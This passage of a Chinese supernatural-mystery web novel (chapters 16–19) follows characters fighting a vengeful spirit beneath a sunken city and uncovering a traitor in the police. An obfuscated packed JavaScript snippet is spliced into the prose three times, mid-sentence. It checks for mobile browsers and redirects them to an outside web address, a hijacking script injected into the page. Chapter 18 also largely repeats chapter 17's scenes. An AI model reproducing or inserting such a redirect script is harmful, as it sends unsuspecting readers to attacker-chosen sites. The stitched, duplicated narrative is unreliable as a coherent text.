“上古之时,清水潭下有古城,为水神所居。后水神沉睡,怨气滋生,古城将倾。先民与水神立约,每三十年社日,献祭七位‘不安分’女子,以怨气滋养水神,换一方安宁。献祭者之魂,封于陶罐,永世不得超生。清理者,乃契约守护者,世代传承,确保献祭如期进行。若契约被毁,水神觉醒,怨气滔天,生灵涂炭。” “原来是这样!”江磊震惊,“清理者不是自发形成的,是契约的产物!他们以为自己在维护秩序,其实是在延续罪恶!” 楚遥抚摸着石碑上的图案:“图案里有个细节,最后一位献祭者,手里拿着一枚银锁,和苏怀薇的银锁一模一样。看来,水生的身份不只是梅芳的孩子,还是契约的‘终结钥匙’。” 苏怀薇的声音传来:“我感觉到银锁在发烫,它在吸引我靠近石碑!” 就在这时,江磊突然指向石碑后方:“你们看!那里有个东西!” 我们绕到石碑后方,只见地上躺着一具骸骨,骸骨旁边散落着一个腐烂的背包,还有一本已经泡胀的笔记本。骸骨的手指上,戴着一枚与吴茂林同款的“影”字戒指。 “是吴茂林!”楚遥检查骸骨,“他应该是先我们一步找到这里,但触发了石碑的机关,被怨气反噬而死。” 我捡起笔记本,小心翼翼地翻开,里面的字迹已经模糊,但仍能辨认出一些内容: “契约是骗局……水神不是沉睡,是被封印……怨气是封印的力量来源……献祭不是滋养,是加固封印……清理者被欺骗了千年……” “影子的使命,是解除封印……但需要问阴婆的血和水生的银锁……吴茂源是叛徒,他想永远维持封印,掌控清理者……” “古城深处,有解除封印的方法……但需要付出代价……怨煞将重现……” 笔记本的最后一页,画着一个复杂的符号,旁边写着:“影子的遗产,在古城西北角的密室……” “骗局?”我愣住,“原来献祭不是滋养水神,是加固封印?清理者被蒙骗了千年?” 楚遥脸色凝重:“如果真是这样,吴茂林的目的不是成为水神,是解除封印,揭露真相。但他没说,解除封印后,怨煞重现会带来什么后果。” “不管后果是什么,我们必须找到密室,看看吴茂林留下的‘遗产’是什么。”我握紧水神令牌,“这可能是破解十年之约的关键。” 我们按照笔记本的提示,找到古城西北角的密室。密室门是一块石板,上面刻着与银锁匹配的凹槽。苏怀薇通过对讲机指导我们,将银锁的能量通过水神令牌传递到凹槽,石板缓缓移开。 密室不大,里面只有一个石棺,石棺上刻着“影之守护者”四个字。打开石棺,里面没有骸骨,只有一个黑色的木盒,和一卷泛黄的丝帛。 木盒里,是一枚黑色的令牌,上面刻着“影”字,与吴茂林的戒指同源。还有一张纸条,上面是吴茂林的字迹: “此乃影之令牌,可号令历代清理者残魂。丝帛上是解除封印的方法,但需问阴婆、水生、清理者守护者三者血脉合一。江磊的奶奶周桂芬,是最后一位清理者守护者,她的血是关键。” “我奶奶?”江磊震惊,“她竟然是清理者守护者?难怪她一直知道这么多秘密!” 丝帛上的方法果然需要三者血脉,还要在十年后的社日祭,在石碑前举行仪式。但丝帛的最后,还有一行被划掉的字迹,隐约可见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182837|196970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“解除封印者,将成为新的怨煞容器……” (三) 就在我们查看丝帛时,整个古城突然剧烈震动,头顶的钟乳石纷纷掉落,潭水开始倒灌,水流越来越急。 “不好!我们触发了机关,古城要塌了!”楚遥大喊,“快撤退!” 我们立刻原路返回,水流已经淹没了膝盖,手电光柱在摇晃中照到通道两侧的陶罐,陶罐上的黄符纷纷脱落,里面的怨气化作黑烟,开始凝聚成怨魂的虚影。 “它们要出来了!”我摇动铜铃,清脆的铃声暂时逼退怨魂,“快走!” 江磊在前面开路,楚遥断后,我拿着水神令牌,红光形成一道屏障,阻挡着不断逼近的怨魂。就在我们即将冲出石门时,一道黑影突然从侧面袭来,速度快得惊人! “小心!”楚遥开枪,子弹穿过黑影,却没有造成任何伤害。 黑影停在我们面前,渐渐凝聚成一个模糊的人形,穿着黑色连帽衫,脸上没有五官,只有一片漆黑。它的手上,戴着一枚“影”字戒指。 “是影子!”我握紧水神令牌,“吴茂林不是最后的影子,这才是真正的影子——契约的意志化身!” 影子发出刺耳的嘶吼,周围的怨魂变得更加狂暴。苏怀薇的声音传来:“银锁感应到它的核心在胸口!用令牌和银锁的力量攻击它!” 我和江磊对视一眼,江磊将奶奶的铜戒扔给我,我将铜戒、水神令牌、自己的血滴在一起,苏怀薇在岸边握紧银锁,大喊:“以水生之名,破影之契约!” 红光与银光交织,形成一道强大的光柱,直冲影子的胸口。影子发出一声凄厉的惨叫,身体开始消散,但它在消失前,留下了一句冰冷的话语,直接传入我们的脑海: “封印终将解除……怨煞将至……十年之约……你们逃不掉……” 影子消失,怨魂的狂暴渐渐平息,古城的震动也停止了。我们趁机冲出洞口,回到潭面。 爬上岸边,苏怀薇扑过来:“你们没事吧?刚才银锁感应到影子的能量消失了,但古城的怨气还在。” 我看着手中的影之令牌和丝帛,心里沉甸甸的:“我们找到了真相,也拿到了解除封印的方法,但代价未知。而且,江磊的奶奶是最后一位守护者,她的血是关键。” 江磊握紧拳头:“我现在就联系奶奶,不管她是什么身份,我都要让她说出所有真相!” 楚遥看着潭面,眼神凝重:“吴茂林的笔记本说,吴茂源是叛徒,他想维持封印。但他已经死了,他的势力还在吗?还有,影子说的怨煞,到底是什么?” 就在这时,我的手机突然震动,是一条陌生号码发来的短信,只有一句话: “你们找到了影子的遗产,但也唤醒了沉睡的怨煞。十年之约,不是结束,是开始。周桂芬已经被怨煞附身,她会来找你们的。” 发件人,正是之前给我们发“影子”提示的神秘号码! 短信的内容像一颗炸雷,让我们所有人脸色煞白。 江磊立刻拨打奶奶的电话,果然无人接听。他的微信收到一条语音,是周桂芬的声音,但语气冰冷,带着诡异的笑意: “磊磊,奶奶来找你了……带着古城的‘礼物’……我们一起,完成影子的使命……” 语音背景里,传来清晰的、水流涌动的声音,还有隐约的怨魂呜咽。 楚遥立刻联系警方,追查周桂芬的位置,却发现她的手机信号就在我们附近,正在快速逼近! “她在跟踪我们!”苏怀薇紧张地看着四周,银锁剧烈震动,“怨煞的气息越来越近,她身上有很多怨魂,像是……把密室里的陶罐都带出来了!” 我握紧影之令牌和水神令牌,掌心的炙痕滚烫:“吴茂林的笔记本说,影之令牌可以号令清理者残魂。也许,我们可以用它暂时压制怨煞。” 江磊眼神坚定:“不管奶奶变成什么样,我都要救她!她是被怨煞附身,不是自愿的!” 夜色渐浓,清水潭边的风越来越急,带着怨魂的呜咽声。远处的黑暗中,出现一个模糊的身影,正缓缓向我们走来,身影周围,漂浮着无数微弱的绿光,像是无数只眼睛在黑暗中注视着我们。 周桂芬来了。 带着千年的怨气,带着影子的使命,带着十年之约的倒计时。 我们握紧手中的武器和信物,严阵以待。 这场跨越千年的契约骗局,这场延续百年的罪恶传承,这场关乎十年之约的终极对决,终于要拉开真正的序幕。 而我们不知道的是,在我们身后的清水潭底,古城深处的怨煞,已经睁开了眼睛。 17. 第 17 章 清水潭边的风裹挟着怨魂的呜咽,越来越烈。远处黑暗中,周桂芬的身影缓缓逼近,周身漂浮的绿光如鬼火摇曳,那些被她带走的魂器陶罐碎片,在她身边旋转,散发出刺鼻的阴煞之气。 江磊攥着奶奶的铜戒,指节发白,声音带着哭腔却异常坚定:“奶奶!我知道你在里面!别被怨煞控制!我来救你了!” 周桂芬没有回应,脚步虚浮却异常平稳,像被无形的线牵引着的皮影。她的脸在绿光映照下扭曲变形,一半是熟悉的苍老轮廓,一半爬满了青黑色的纹路,眼神空洞却透着刺骨的恶意。 “小心!她被怨煞彻底掌控了!”我握紧水神令牌和影之令牌,掌心炙痕烫得惊人,“她身上的怨魂太多,铜铃只能暂时逼退,伤不了根本!” 楚遥举起枪,手指悬在扳机上,迟迟不忍扣动:“江磊,我会尽量打非致命部位,但她现在的状态,普通子弹可能没用!” “用影之令牌!”苏怀薇突然大喊,银锁在她颈间剧烈震动,“吴茂林的笔记说,影之令牌能号令清理者残魂!那些被吴茂林操控的清理者残魂,或许能暂时牵制怨煞!” 我立刻举起影之令牌,集中精神默念吴茂林纸条上的口诀。令牌瞬间发出黑色的暗光,周围的空气开始扭曲,那些漂浮的怨魂虚影突然停滞,像是被某种力量束缚。紧接着,几道模糊的黑影从黑暗中浮现,正是之前被灭口的清理者残魂,它们受令牌召唤,朝着周桂芬扑去。 “滋滋——”清理者残魂与周桂芬周身的怨煞碰撞,发出刺耳的声响,绿光与黑光交织,形成一道诡异的光幕。周桂芬发出一声非人的嘶吼,周身的魂器碎片疯狂旋转,将清理者残魂撞得粉碎。 “没用!怨煞的力量太强了!”楚遥急道,“她吸收了古城千年的怨气,清理者残魂根本不是对手!” 周桂芬的目光突然锁定江磊,空洞的眼神里闪过一丝贪婪:“守护者的血脉……正好用来滋养怨煞!” 她猛地抬手,几道青黑色的怨煞之气化作利爪,直扑江磊。江磊下意识举起姥姥留下的铜铃,铃声清脆响起,怨煞利爪被震得溃散,但铜铃也瞬间布满裂纹。 “铜铃撑不了多久!”我大喊着抛出水神令牌,红光暴涨,与苏怀薇的银锁形成呼应,“苏怀薇!用你的血激活银锁!我们双印合璧!” 苏怀薇毫不犹豫咬破指尖,鲜血滴在银锁上。银锁发出耀眼的白光,与水神令牌的红光缠绕,形成一道红白相间的光柱,朝着周桂芬轰去。周桂芬被光柱击中,身体剧烈抽搐,身上的青黑色纹路褪去大半,露出了原本的面容,眼神恢复了一丝清明。 “磊磊……别过来……”周桂芬艰难地开口,声音嘶哑,“怨煞……在我体内……它要的是三血合一……问阴婆、水生、守护者……” “三血合一?是要我们的血解除封印?”我追问。 “不……是要……成为怨煞容器……”周桂芬的身体再次扭曲,青黑色纹路重新蔓延,“吴茂林……骗了所有人……解除封印是假……让怨煞附身是真……他想让怨煞附在问阴婆身上……掌控古城力量……” 话音未落,周桂芬突然双眼翻白,彻底被怨煞掌控。她周身的怨魂凝聚成一条巨大的蛇形虚影,张开血盆大口,朝着我和苏怀薇扑来。 “小心!”楚遥开枪射击,子弹穿过蛇形虚影,却毫无作用。蛇形虚影猛地缠住苏怀薇,将她往周桂芬身边拖拽。银锁的白光越来越弱,苏怀薇的脸色逐渐苍白。 江磊突然冲了上去,将奶奶的铜戒按在蛇形虚影上,嘶吼道:“奶奶说过,铜戒是守护者的信物!能镇压怨煞!” 铜戒与蛇形虚影接触的瞬间,爆发出金色的光芒。蛇形虚影发出痛苦的嘶鸣,松开了苏怀薇,节节溃散。周桂芬的身体踉跄后退,胸口剧烈起伏,从怀中掉出一个黑色的布袋——正是被她拿走的梅芳的头发。 梅芳的头发接触到空气,突然无风自动,与水神令牌产生强烈共鸣,在空中编织成一个复杂的符文。符文闪烁着红光,映出古城的轮廓,隐约可见古城中心有一块巨大的石碑,石碑上刻着与水神令牌相同的“水”字秘纹。 “是古城的封印核心!”楚遥指着符文,“梅芳的头发是钥匙!能定位封印位置!” 周桂芬看到符文,突然疯狂大笑:“没用的!封印已经松动!怨煞即将现世!吴茂林留下的皮影戏法……能让怨煞借尸还魂!” 她猛地抬手,指尖射出几道黑影,化作皮影的形状,朝着我们袭来。这些皮影与普通皮影不同,上面刻满了诡异的符文,速度快得惊人。楚遥侧身躲避,皮影擦着她的胳膊飞过,留下一道焦黑的痕迹。 “是皮影杀机!吴茂林的皮影戏法能操控怨煞能量!”我认出这是江磊奶奶日记里提到的绝技,“这些皮影上的符文是怨煞的载体!被碰到就会被附身!” 苏怀薇的银锁突然发出强烈的震动,在空中划出一道白光,将皮影击飞。但更多的皮影从周桂芬体内涌出,密密麻麻,像一张黑色的网,朝着我们笼罩过来。 “影之令牌!再试一次!”我再次举起影之令牌,这次不仅默念口诀,还咬破舌尖,将鲜血喷在令牌上。令牌的暗光瞬间暴涨,比之前强烈数倍,那些皮影在空中停滞,像是被定住一般。 “清理者残魂不够,需要更强的力量!”我看着令牌上逐渐蔓延的裂纹,知道它撑不了多久,“江磊!用你奶奶的铜戒和我的血,尝试唤醒你奶奶的意识!她是守护者,体内有对抗怨煞的力量!” 江磊立刻点头,将铜戒递给我。我将自己的血滴在铜戒上,铜戒发出金色的光芒。江磊接过铜戒,走到周桂芬面前,哽咽道:“奶奶!我知道你还在!想想当年你救水生,想想你偷偷放走的那些女人!你不是清理者的帮凶,你是守护者!” 铜戒贴近周桂芬胸口的瞬间,金色光芒爆发,周桂芬的身体剧烈颤抖,青黑色纹路再次褪去。她猛地睁开眼睛,眼神清明,一把抓住江磊的手:“磊磊……怨煞的核心在古城石碑下……梅芳的头发能暂时压制它……但需要三血合一的精血……才能彻底封印……” “三血合一?是我、苏怀薇和你?”我问。 “不……守护者的血……只能用一次……”周桂芬的声音越来越弱,“我已经……撑不住了……怨煞要……借我的身体……冲出古城……” 她突然用力推开江磊,朝着清水潭跑去,周身的怨魂虚影疯狂涌动:“我去封印它……你们……找到古城石碑……用梅芳的头发和三血……彻底终结它……” “奶奶!”江磊想要追赶,却被怨魂虚影拦住。周桂芬纵身跳入清水潭,潭水瞬间翻涌,形成一个巨大的漩涡,青黑色的怨煞之气从潭底喷涌而出,又被某种力量强行压制回去。 潭水渐渐平静,周桂芬的身影消失不见,只有一缕金色的光芒从潭底升起,融入江磊手中的铜戒。铜戒上的符文变得更加清晰,与水神令牌、银锁形成三足鼎立之势。 “奶奶她……”江磊眼眶通红,铜戒在他手中发烫。 “她用自己的生命暂时压制了怨煞,但撑不了多久。”我握紧水神令牌,梅芳的头发编织的符文还在空中漂浮,“古城的位置已经明确,我们必须立刻下去,找到石碑,完成封印。” 楚遥突然接到电话,脸色骤变:“不好!假上级调动的警方已经到了清水潭附近,他们被误导,以为我们是袭警嫌犯!而且,技侦发现,吴茂林的手机信号,竟然出现在社日祭土台方向!” 吴茂林的信号?他不是死了吗? “是怨煞!”苏怀薇突然开口,银锁剧烈震动,“吴茂林的身体虽然死了,但他的意识被怨煞吸收,现在怨煞能模仿他的信号,甚至……继续他的计划!” 我们同时看向社日祭土台的方向,夜色中,土台隐约传来皮影戏的锣鼓声,诡异而阴森。 “他想声东击西!”楚遥立刻反应过来,“警方被吸引到清水潭,他趁机在社日祭土台做手脚,可能想彻底解除古城封印!” “我们兵分两路!”我当机立断,“楚遥,你去周旋警方,解释清楚情况,争取支援!我、江磊、苏怀薇去社日祭土台,阻止怨煞的计划!” 楚遥点头,立刻拨通电话:“我会尽快赶过来!你们小心,吴茂林的皮影戏法能模仿任何人,一定要确认彼此的身份!” 我们朝着社日祭土台跑去,夜色越来越浓,锣鼓声越来越清晰。土台周围的荒草无风自动,那些被镇压的怨魂虚影再次浮现,像是在欢迎我们的到来。 土台顶端,一个模糊的身影站在主位上,穿着黑色连帽衫,手里拿着皮影戏的操纵杆,正是吴茂林的轮廓。他缓缓转过身,脸上戴着一张人皮面具,面具上的面容,竟然是楚遥的样子! “欢迎来到我的皮影戏场。”“楚遥”开口,声音却是吴茂林的沙哑语调,“三血合一的容器已经备好,就等你们来完成最后的仪式了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182838|196970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他举起操纵杆,土台周围的怨魂虚影突然凝聚成皮影的形状,朝着我们扑来。梅芳的头发编织的符文在空中闪烁,挡住了皮影的攻击,但符文的光芒也开始暗淡。 江磊握紧铜戒,苏怀薇的银锁发出白光,我举起水神令牌和影之令牌,三者同时发光,形成一道坚固的屏障。 “吴茂林!你到底想干什么?”我大喊。 “干什么?”“楚遥”冷笑,操纵杆猛地挥动,土台中央的火堆突然窜高,“当然是成为新的怨煞容器!吴茂源当年不敢做的事,我来做!有了古城怨煞的力量,我就能掌控一切!” 火堆中,渐渐浮现出古城的虚影,石碑的轮廓越来越清晰,青黑色的怨煞之气从虚影中溢出,朝着“楚遥”汇聚。 “不好!他要吸收怨煞力量!”苏怀薇大喊,银锁的白光暴涨,“我们必须阻止他,否则怨煞彻底现世,后果不堪设想!” 江磊突然冲向土台,铜戒发出金色的光芒:“我来拖住他!你们找机会破坏石碑虚影!” “楚遥”操纵皮影朝着江磊攻击,江磊灵活躲避,铜戒的光芒不断击退皮影。我和苏怀薇趁机绕到土台侧面,梅芳的头发编织的符文突然飞向石碑虚影,符文贴在石碑上,发出强烈的红光,怨煞之气的溢出瞬间减缓。 “找死!”“楚遥”怒吼,操纵杆挥动,无数皮影朝着我和苏怀薇袭来。我举起影之令牌,虽然令牌布满裂纹,但依旧发出暗光,暂时逼退皮影。苏怀薇的银锁突然飞向石碑虚影,与符文结合,形成一道红白相间的锁链,缠绕在石碑上。 就在这时,土台突然剧烈震动,石碑虚影开始扭曲,“楚遥”的身体也开始变形,脸上的人皮面具脱落,露出了吴茂林的真实面容,但他的半边脸已经被怨煞之气侵蚀,青黑色纹路爬满脸颊。 “怨煞之力……是我的!”吴茂林疯狂大笑,操纵杆猛地插入火堆,“仪式完成!我就是新的怨煞!” 火堆中,怨煞之气疯狂涌入吴茂林体内,他的身体膨胀,变成一个青黑色的怪物,周身缠绕着无数皮影和怨魂虚影。 江磊被震飞出去,铜戒脱手,朝着我飞来。我接住铜戒,与水神令牌、银锁同时举起,大喊道:“苏怀薇!江磊!用我们的血!三血合一!” 江磊立刻咬破指尖,苏怀薇也再次滴血,我的血滴在三者之上。三股鲜血在空中汇聚,与令牌、银锁、铜戒的光芒融合,形成一道巨大的光柱,朝着吴茂林化作的怪物轰去。 “不——!”怪物发出凄厉的嘶吼,身体在光柱中逐渐消散,那些皮影和怨魂虚影也化作点点荧光。石碑虚影上的符文发出耀眼的光芒,怨煞之气被强行封印回石碑中。 土台的震动停止,火堆渐渐熄灭。吴茂林的身体化为灰烬,只留下一枚黑色的皮影,上面刻着“影”字。 我们瘫倒在地,大口喘气。江磊捡起那枚黑色皮影,皮影上的“影”字突然发光,映出一行小字:“古城之下,还有真印,怨煞未灭,十年之约,终会降临。” 就在我们以为危机解除时,清水潭方向突然传来剧烈的爆炸声,火光冲天。楚遥的电话打了过来,声音急促而沙哑:“不好!警方中了调虎离山计!真正的怨煞核心不在石碑下,在清水潭底的古城密室!周桂芬压制的只是分身!刚才的爆炸是怨煞突破封印的信号!” 我们同时看向清水潭,潭水再次翻涌,青黑色的怨煞之气形成一道巨大的光柱,直冲天际。天空中,古城的虚影越来越清晰,无数怨魂虚影从古城中飞出,朝着清河县蔓延。 江磊手中的黑色皮影突然飞起,贴在土台中央的地面上,地面裂开,露出一个暗格,里面放着一本泛黄的古籍,正是吴茂林的皮影戏谱,上面记载着最后的秘密:“怨煞的真正容器,是问阴婆与水生的后代,十年后,容器降生,怨煞将借体重生,古城将重现人间。” 问阴婆与水生的后代?我和苏怀薇面面相觑。 更可怕的是,楚遥的电话里传来熟悉的声音,正是之前那个假上级的沙哑语调:“宋溪月,苏怀薇,江磊,游戏才刚刚开始。古城的秘密,不止于此,你们身边,还有我的人。” 身边还有内鬼?! 我们互相对视,眼神中充满了警惕。怨煞突破封印,古城虚影现世,内鬼潜伏在身边,十年后的容器预言,所有的危机都在这一刻爆发。 清河县的夜空,被青黑色的怨煞之气笼罩,一场更大的风暴,正在酝酿。 18. 第 18 章 清水潭边的风裹挟着怨魂的呜咽,周桂芬的身影在黑暗中愈发清晰。她周身的绿光如鬼火跳跃,那些魂器陶罐碎片旋转得愈发急促,阴煞之气浓烈到几乎凝成实质。江磊攥着掌心发烫的铜戒,声音带着哭腔却异常坚定:“奶奶!我知道你还在!别被怨煞控制!” 周桂芬没有回应,脚步虚浮却精准,像被无形丝线牵引的皮影。她脸上的青黑色纹路扭曲蔓延,一半是熟悉的苍老轮廓,一半爬满诡异咒印——那是吴茂林皮影戏谱里记载的“锁魂咒”,能彻底吞噬宿主意识,让怨煞完全掌控躯体。 “小心!锁魂咒已经侵入她的识海!”我握紧水神令牌与影之令牌,掌心炙痕烫得惊人,“普通攻击没用,只会激怒怨煞!” 楚遥举枪的手微微颤抖,迟迟不忍扣动扳机:“江磊,我会瞄准非致命部位,但怨煞护体,子弹可能无法穿透!” “用影之令牌!”苏怀薇突然大喊,颈间银锁剧烈震动,“吴茂林的笔记说,影之令牌能号令清理者残魂,或许能暂时牵制怨煞核心!” 我立刻举起影之令牌,默念吴茂林纸条上的口诀。令牌瞬间爆发出黑色暗光,周围的怨魂虚影突然停滞,几道黑影从黑暗中浮现——正是之前被灭口的清理者残魂。它们受令牌召唤,朝着周桂芬扑去,与她周身的怨煞碰撞出刺耳的滋滋声,绿光与黑光交织成诡异光幕。 “没用!怨煞吸收了古城千年怨气,残魂根本不是对手!”楚遥急道,话音未落,周桂芬发出非人的嘶吼,魂器碎片疯狂旋转,将清理者残魂撞得粉碎。 周桂芬的目光突然锁定我,空洞的眼神里闪过贪婪:“问阴婆的血……是最好的容器养料!” 她猛地抬手,几道青黑色怨煞之气化作利爪,直扑我的心口。我下意识挥动水神令牌,红光暴涨,与苏怀薇的银锁形成呼应:“苏怀薇!用你的血激活银锁!双印合璧!” 苏怀薇毫不犹豫咬破指尖,鲜血滴在银锁上。银锁白光迸发,与水神令牌的红光缠绕成光柱,狠狠轰向周桂芬。光柱击中的瞬间,周桂芬的身体剧烈抽搐,青黑色纹路褪去大半,眼神恢复一丝清明:“溪月……江磊……怨煞的核心在古城石碑下……梅芳的头发能暂时压制……但需要三血合一的精血……” “三血合一?是我、你和江磊?”我追问。 “不……守护者的血只能用一次……”周桂芬的声音越来越弱,青黑色纹路重新蔓延,“我撑不住了……怨煞要借我的身体冲出古城……” 她突然推开江磊,朝着清水潭狂奔,周身怨魂虚影疯狂涌动:“我去封印它……你们找古城石碑……用梅芳的头发和三血……彻底终结它!” “奶奶!”江磊想要追赶,却被怨魂虚影拦住。周桂芬纵身跳入清水潭,潭水瞬间翻涌成巨大漩涡,青黑色怨煞之气喷涌而出,又被某种力量强行压制。潭面渐渐平静,周桂芬的身影消失不见,只有一缕金色光芒从潭底升起,融入江磊手中的铜戒——那是她最后的守护者之力。 “她用生命暂时压制了怨煞,但撑不了多久。”我握紧水神令牌,梅芳的头发在空中编织成符文,映出古城的轮廓,“石碑的位置已经明确,我们必须立刻下水!” 楚遥突然接到电话,脸色骤变:“不好!假上级调动的警力已经逼近,他们被误导以为我们袭警!而且技侦发现,吴茂林的手机信号出现在社日祭土台方向!” “是怨煞!”苏怀薇银锁震动得愈发剧烈,“吴茂林的意识被怨煞吸收,它在模仿信号声东击西!” 我们对视一眼,瞬间明白——警方被吸引到清水潭,怨煞趁机在社日祭土台做手脚,想彻底解除古城封印。“兵分两路!”我当机立断,“楚遥,你去周旋警方,解释情况争取支援!我、江磊、苏怀薇去社日祭土台阻止怨煞!” 楚遥点头,立刻拨通电话:“我会尽快赶过来!记住,吴茂林的皮影戏法能模仿任何人,务必确认彼此身份!” 赶往社日祭土台的路上,夜色愈发浓重,诡异的锣鼓声从土台方向传来,阴森刺骨。土台周围的荒草无风自动,被镇压的怨魂虚影再次浮现,像是在欢迎我们踏入陷阱。 土台顶端,一个模糊身影站在主位上,穿着黑色连帽衫,手里握着皮影操纵杆——正是吴茂林的轮廓。他缓缓转过身,脸上戴着一张人皮面具,赫然是楚遥的模样! “欢迎来到我的皮影戏场。”“楚遥”开口,却是吴茂林沙哑的语调,“三血合一的容器已经备好,就等你们来完成仪式了。” 他举起操纵杆,土台周围的怨魂虚影瞬间凝成皮影形状,朝着我们扑来。梅芳的头发编织的符文闪烁红光,挡住了皮影攻击,但符文光芒逐渐暗淡。江磊握紧铜戒,银锁白光暴涨,我同时举起两枚令牌,三者光芒交织成坚固屏障。 “吴茂林!你到底想干什么?”我大喊。 “当然是成为新的怨煞容器!”“楚遥”冷笑,操纵杆猛地挥动,土台中央的火堆窜高,古城虚影在火光中愈发清晰,青黑色怨煞之气朝着他疯狂汇聚,“吴茂源当年不敢做的事,我来做!有了古城怨煞的力量,我就能掌控一切!” 火堆中,石碑的轮廓逐渐凝实,怨煞之气从虚影中溢出,吴茂林的身体开始膨胀,半边脸被怨煞侵蚀,青黑色纹路爬满脸颊。江磊突然冲上去,铜戒金光爆发:“我来拖住他!你们破坏石碑虚影!” “楚遥”操纵皮影围攻江磊,江磊灵活躲避,铜戒光芒不断击退皮影。我和苏怀薇趁机绕到土台侧面,梅芳的头发符文突然飞向石碑虚影,贴在上面发出强烈红光,怨煞之气的溢出瞬间减缓。 “找死!”“楚遥”怒吼,操纵杆挥动,无数皮影朝着我们袭来。我举起影之令牌,尽管令牌布满裂纹,仍爆发出暗光暂时逼退皮影。苏怀薇的银锁突然飞出,与符文结合成红白锁链,缠绕在石碑虚影上。 就在这时,土台剧烈震动,石碑虚影扭曲变形,“楚遥”的面具脱落,露出吴茂林的真实面容——他的半边身体已经化作青黑色怨煞形态,周身缠绕着皮影与怨魂。“怨煞之力……是我的!”他疯狂大笑,操纵杆插入火堆,“仪式完成!我就是新的怨煞!” 火堆中,怨煞之气疯狂涌入吴茂林体内,他化作青黑色怪物,朝着我们扑来。江磊被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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身边有内鬼?我们互相对视,眼神充满警惕。江磊突然想起什么,掏出手机:“我姐发消息说,技侦在梅芳的头发残留物里,检测出两种DNA——一种是梅芳的,另一种……与我奶奶的DNA高度相似!” 周桂芬竟然与梅芳有血缘关系?那吴茂林的至亲到底是谁? 清河县的夜空被青黑色怨煞之气笼罩,古城虚影在云层中若隐若现。怨煞突破封印,内鬼潜伏身边,容器预言如悬顶之剑,而古城深处的水神墓室,还藏着未被发现的真印。 我们握紧手中的信物,看着彼此眼中的坚定。这场跨越千年的契约骗局,这场延续百年的罪恶传承,这场关乎十年之约的终极对决,才刚刚拉开真正的序幕。 而我们不知道的是,在清水潭底的古城深处,那具被封印的水神遗骸,指尖已经悄然动弹。 就在我们准备前往古城密室寻找真印时,苏怀薇的银锁突然飞向潭面,与水底的红光形成呼应。潭水翻涌中,一具青黑色的皮影从水中浮起——那是吴茂林最核心的皮影,上面刻满了从未见过的咒印,背面写着一行小字:“内鬼藏于警队,真印需用容器之血激活,怨煞的终极目标,是唤醒水神遗骸。” 警队里的内鬼是谁?激活真印是否会让苏怀薇成为容器?水神遗骸一旦唤醒,清河县将面临怎样的浩劫? 19. 第 19 章 清水潭的怨煞之气如青黑色浪潮,席卷了半个清河县。街道上空无一人,门窗紧闭,只有零星的哭喊声被风声吞没。我们站在潭边,苏怀薇颈间的银锁剧烈震动,与潭底红光形成一道笔直的纽带,像是在指引通往古城密室的路径。 “银锁在定位入口!”苏怀薇攥紧银锁,白光与潭底红光交织,在水面映出一个模糊的漩涡,“吴茂林的皮影说入口在潭底东侧,与古城主殿相连!” 楚遥立刻调度警力:“小李带一队守住潭边,防止怨魂扩散;小王联系潜水队,准备支援;张队,你跟我们下水,保护宋溪月和苏怀薇!” 张队点点头,眼神沉凝:“楚队放心,保证完成任务。”他的手指无意识摩挲着腰间的配枪,动作自然得让人看不出破绽。 (OS:按照皮影提示,内鬼藏在警队,小李、张队、小王三选一。张队一直沉稳可靠,不会是他吧?小王看起来憨憨的,小李接触证物最多……CPU干烧了!) 江磊背起潜水装备:“我跟你们一起,奶奶的铜戒能感应守护者气息,或许能帮上忙。” 我们快速穿戴装备,跳入冰冷的潭水。怨煞之气让水温低至刺骨,能见度不足半米,只有苏怀薇的银锁发出白光,劈开黑暗。水下暗流涌动,无数怨魂虚影在周围盘旋,却被银锁的白光逼退,不敢靠近。 “跟着银锁的方向!”苏怀薇喊道,银锁牵引着我们向东侧游去。 大约下潜二十米,前方出现一道人工开凿的石门,门上刻着与水神令牌相同的“水”字秘纹,下方的凹槽正好与苏怀薇的银锁契合。 “是这里!”苏怀薇将银锁嵌入凹槽,白光暴涨,石门缓缓开启,露出一条通往古城密室的通道。 通道内干燥异常,墙壁上刻满诡异的符文,与之前在砖窑地下室看到的如出一辙。走了约百米,前方豁然开朗,正是古城主殿——与我们之前在水下看到的虚影完全一致,中央石台上,水神遗骸静静躺着,胸口嵌着一枚散发着金光的玉佩,正是吴茂林日记中提到的“真印”。 真印下方的石碑上,刻着密密麻麻的篆字,楚遥用强光手电照亮:“‘真印藏于水神心,水生问阴血为引,激活需承神之责,怨煞封印或复苏’。” “激活真印需要我和宋溪月的血,但后果未知——要么封印怨煞,要么唤醒水神?”苏怀薇脸色发白。 江磊突然指向石碑角落:“你们看!这里还有一行小字:‘内鬼为影,血祭为饵’!” “内鬼为影?”楚遥眼神一凛,瞬间看向身边的张队和小王,“谁是‘影’?” 就在这时,张队突然掏出枪,对准楚遥:“楚队,别怪我。清理者的规矩,知情者要么加入,要么消失。” (OS:我靠!真的是张队!这反转来得猝不及防!) “张队!你疯了?!”小王惊呼,立刻掏枪对准张队。 